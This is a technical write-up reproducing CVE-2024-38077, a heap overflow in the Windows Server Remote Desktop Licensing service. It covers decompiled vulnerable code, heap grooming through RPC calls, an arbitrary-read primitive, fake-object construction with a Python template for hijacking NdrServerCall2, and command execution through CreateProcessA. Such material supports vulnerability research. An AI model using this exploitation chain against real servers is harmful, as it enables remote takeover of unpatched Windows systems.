CVE-2024-38077 Reproduction
Also known as madlicense, a vulnerability affecting almost every version of Windows Server that leads to 0-click RCE
1. Vuln Analyze
1.1 Call Stack
# Child-SP RetAddr Call Site
00 000000b9`d2ffbd30 00007fff`67a76fec lserver!CDataCoding::DecodeData
01 000000b9`d2ffbd70 00007fff`67a5c793 lserver!LKPLiteVerifyLKP+0x38
02 000000b9`d2ffbdc0 00007fff`67a343eb lserver!TLSDBTelephoneRegisterLicenseKeyPack+0x163
03 000000b9`d2ffd7d0 00007fff`867052a3 lserver!TLSRpcTelephoneRegisterLKP+0x15b
04 000000b9`d2fff0c0 00007fff`8664854d RPCRT4!Invoke+0x73
05 000000b9`d2fff120 00007fff`86647fda RPCRT4!NdrStubCall2+0x30d
06 000000b9`d2fff3d0 00007fff`866b7967 RPCRT4!NdrServerCall2+0x1a
1.2 Vuln
__int64 __fastcall CDataCoding::DecodeData(CDataCoding *this, wchar_t *a2, unsigned __int8 **a3, unsigned int *a4)
{
unsigned int v4; // edi
int v8; // ebp
unsigned int v9; // ebx
HANDLE ProcessHeap; // rax
unsigned __int8 *v11; // rax
unsigned __int8 *v12; // rbx
wchar_t *v13; // rax
__int64 v14; // rcx
unsigned __int8 *v15; // rdx
__int64 v16; // r9
unsigned int v17; // ecx
HANDLE v18; // rax
v4 = 0;
v8 = 0;
if ( a3 )
{
v9 = dwBytes; // Always be 21
*a3 = 0LL;
*a4 = 0;
ProcessHeap = GetProcessHeap();
v11 = (unsigned __int8 *)HeapAlloc(ProcessHeap, 8u, v9); // fixed size
v12 = v11;
if ( v11 )
{
memset_0(v11, 0, (unsigned int)dwBytes);
while ( *a2 )
{
// str: BCDFGHJKMPQRTVWXY2346789 a2: usercontrol
v13 = wcschr_0(Str, *a2);
if ( !v13 )
{
v4 = 13;
v18 = GetProcessHeap();
HeapFree(v18, 0, v12);
return v4;
}
// a2 from base24 to base 10
v14 = v13 - Str;
v15 = v12;
v16 = (unsigned int)(v8 + 1);
do
{
v17 = dword_1800D61C8 * *v15 + v14;
*v15++ = v17;
LODWORD(v14) = v17 >> 8;
--v16;
}
while ( v16 );
if ( (_DWORD)v14 )
v12[++v8] = v14; // move base10 to buffer
++a2;
}
*a4 = dwBytes;
*a3 = v12;
}
else
{
return 8;
}
}
else
{
return 87;
}
return v4;
}
Heap overflow without restriction
1.3 Vuln Component
lserver.dll loaded by svchost.exe
TLSRpcTelephoneRegisterLKP() function
2. Heap Manage Mechanism
It uses the segment heap
We mainly focus on LFH since it’s vulnerable
- headless
- randomly allocated
3. Exploitation
3.1 Enable LFH
Bucket activation occurs if there are 17 active allocations for the bucket’s allocation size.
Bucket activation also occurs if there are 2,040 allocation requests for the bucket’s allocation size.
Here we allocate 2,040 chunks with size 0x20 to enable LFH.
TLSRpcRegisterLicenseKeyPack() takes in an encrypted payload and allocates memory for the payload after decryption. So we can allocate arbitrary memory with it.
Here we use TLSRpcRegisterLicenseKeyPack() to spray 0x20 chunks.
3.2 Leak Address
The widely used lpContext structure is allocated in each TLSRpcConnect() and returned as a handle.
typedef struct __ClientContext {
LPTSTR m_Client;
long m_RefCount;
DWORD m_ClientFlags;
DWORD m_LastError;
CONTEXTHANDLE_TYPE m_ContextType;
HANDLE m_ContextHandle;
// NEEDED - A list to store all memory/handle
// allocated for the client
} CLIENTCONTEXT, *LPCLIENTCONTEXT;
And it is 0x20 bytes large, which means it will be allocated in the same bucket as our vulnerable buffer.
Thus we can spray handles with TLSRpcConnect(), free some handles, and then allocate vulnerable buffer with TLSRpcTelephoneRegisterLKP(). We will easily overflow to the lpcontext structure. And the pointers in the structure are promising.
TLSRpcRetrieveTermServCert() takes the lpcontext as an argument and then does the following:
SAFESTRCPY(LicenseRequest.szMachineName, lpContext->m_Client);
SAFESTRCPY(LicenseRequest.szUserName, lpContext->m_Client);
Finally, it returns the ppbCert containing the LicenseRequest.
Since lpContext->m_Client is easy to forge, we get an AAR.
3.3 Hijack RIP
3.3.1 Hijack Control Flow
TLSRpcKeyPackEnumNext() -> TLSDBLicenseKeyPackEnumNext() -> TLSDBKeyPackEnumNext() -> lpContext->m_ContextHandle->pbWorkSpace->m_LicPackTable.EnumerateNext()
It finally calls a virtual function related to lpContext
error_status_t
TLSRpcKeyPackEnumNext(
/* [in] */ PCONTEXT_HANDLE phContext,
/* [ref][out] */ LPLSKeyPack lpKeyPack,
/* [ref][out][in] */ PDWORD dwErrCode
)
{
...
LPENUMHANDLE hEnum=(LPENUMHANDLE)lpContext->m_ContextHandle;
status=TLSDBLicenseKeyPackEnumNext(
hEnum,
lpKeyPack,
bShowAll
);
...
}
DWORD
TLSDBLicenseKeyPackEnumNext(
LPENUMHANDLE lpEnumHandle,
LPLSKeyPack lpLsKeyPack,
BOOL bShowAll
)
{
...
switch(lpEnumHandle->chFetchState)
{
case ENUMHANDLE::FETCH_NEXT_KEYPACK:
dwStatus=TLSDBKeyPackEnumNext(
lpEnumHandle->pbWorkSpace,
&lpEnumHandle->CurrentKeyPack
);
...
}
DWORD
TLSDBKeyPackEnumNext(
IN PTLSDbWorkSpace pDbWkSpace,
IN OUT PTLSLICENSEPACK lpKeyPack
)
{
...
LicPackTable& licpackTable=pDbWkSpace->m_LicPackTable;
switch(licpackTable.EnumerateNext(*lpKeyPack))
...
}
So in TLSDBKeyPackEnumNext, we can steer the overflow into the following call chain:
lpContext->m_ContextHandle->pbWorkSpace->m_LicPackTable.EnumerateNext()
In disassembly:
__int64 __fastcall TLSDBKeyPackEnumNext(__int64 *a1, void *a2)
{
if ( a1 && a2 )
{
(*(void (__fastcall **)(__int64 *, void *, _QWORD, _QWORD))(*a1 + 0x70))(a1, a2, 0LL, 0LL);
v3 = (*(__int64 (__fastcall **)(__int64 *))(*a1 + 0x1F0))(a1);
...
3.3.2 Leak Fake Object Address
Since we need to forge the function pointer, we need to forge the whole m_ContextHandle. Then we must obtain our fake obj address because it contains some layers of pointers.
Review our segment heap mechanism. We learned that LFH and VS are allocated from the Backend Allocator, and luckily, the _SEGMENT_HEAP contains the information of the last block of the current backend heap.
Now that we have an AAR primitive, we can obtain the last block address, and blocks are allocated continuously. So we will spray our fakeobj, and we can predict an address before that.

3.3.3 Construct Fake Object
Now that we have the fakeobj address, we just forge the object following its definition.
//lpContext->m_ContextHandle
typedef struct __ENUMHANDLE {
typedef enum {
FETCH_NEXT_KEYPACK=1,
FETCH_NEXT_KEYPACKDESC,
FETCH_NEW_KEYPACKDESC
} ENUM_FETCH_CODE;
PTLSDbWorkSpace pbWorkSpace;
TLSLICENSEPACK CurrentKeyPack;
LICPACKDESC KPDescSearchValue;
DWORD dwKPDescSearchParm;
BOOL bKPDescMatchAll;
CHAR chFetchState;
} ENUMHANDLE, *LPENUMHANDLE;
//lpContext->m_ContextHandle->pbWorkSpace
typedef struct __TlsDbWorkSpace {
static JBInstance g_JbInstance;
JBSession m_JetSession;
JBDatabase m_JetDatabase;
LicPackTable m_LicPackTable; // Target
LicensedTable m_LicensedTable;
...
} TLSDbWorkSpace, *LPTLSDbWorkSpace, *PTLSDbWorkSpace;

3.4 Hijack Arguments
As the graph above indicates, rcx is a pointer to the pbWorkSpace, which is unusable in most cases, because its first element must be *m_LicPackTable.
Then we look into the magical NdrServerCall2(). It receives a pointer to the RpcMsg structure as its only argument, and finally calls the structure-related pointer with a structure-related argument list (though rather complicated).
NdrServerCall2() -> NdrStubCall2() -> ... -> Invoke()
Anyway, the function is so complicated. It does so many things to parse RpcMsg; most parts can be easily(?) bypassed by constructing structures.
The hardest part is that it delivers the attributes of arguments in a certain formatted string. After reversing, I made a template for better use.
pbWorkSpace += b"\x32\x48"
pbWorkSpace += b"\x00\x00\x00\x00"
pbWorkSpace += b"\x00\x00" #procNum
pbWorkSpace += p16(argnum * 8) #stacksize
# pbWorkSpace += b"\x30\xe0\x00\x00\x00\x00"
# NdrInfo.pProcDesc
pbWorkSpace += b"\xc0\x00\x10\x00" #ClientBufferSize & ServerBufferSize
pbWorkSpace += b"\x40" #Oi2Flags
pbWorkSpace += p8(argnum * 2) #NumberParams
# NdrExts
pbWorkSpace += b"\x0a" #Size
pbWorkSpace += b"\x01\x00\x00" #Flags2 & ClientCorrHint & ServerCorrHint
pbWorkSpace += b"\x00\x00\x00\x00" #NotifyIndex
pbWorkSpace += b"\x00\x00"
# Params
for i in range(argnum * 2):
pbWorkSpace += p16(0x48)
pbWorkSpace += p16(i * 4)
pbWorkSpace += p16(0x09)
Finally, we get an arbitrary call with arbitrary arguments (though the fakeobj looks scary).
3.5 After Arbitrary Call
Now we have one arbitrary call, and then crash.
Because of CFG(Control Flow Guard), we are not able to do ROP or shellcode.
The method from the original author is using LoadLibraryA() to load a malicious DLL from a remote SMB server. But as a low-privilege user, I found it forbidden to load a DLL into svchost.exe from a remote SMB server, though loading from a local path is possible.
Then I turned to CreateProcessA(), similar to WinExec(). We can execute cmd commands now.
Notice:
CreateProcessA()is not the same as cmd. Only one command is allowed, which means ‘&&’, ‘&’, ‘|’ are not allowed. So we have to usecmd.exe /C "xxx"to execute multiple commands at a time.cmd.exe /C "xxx"only allows double quotation marks- I failed to load
powershell.exe, maybe related to some policy.
4. References
https://msrc.microsoft.com/update-guide/vulnerability/CVE-2024-38077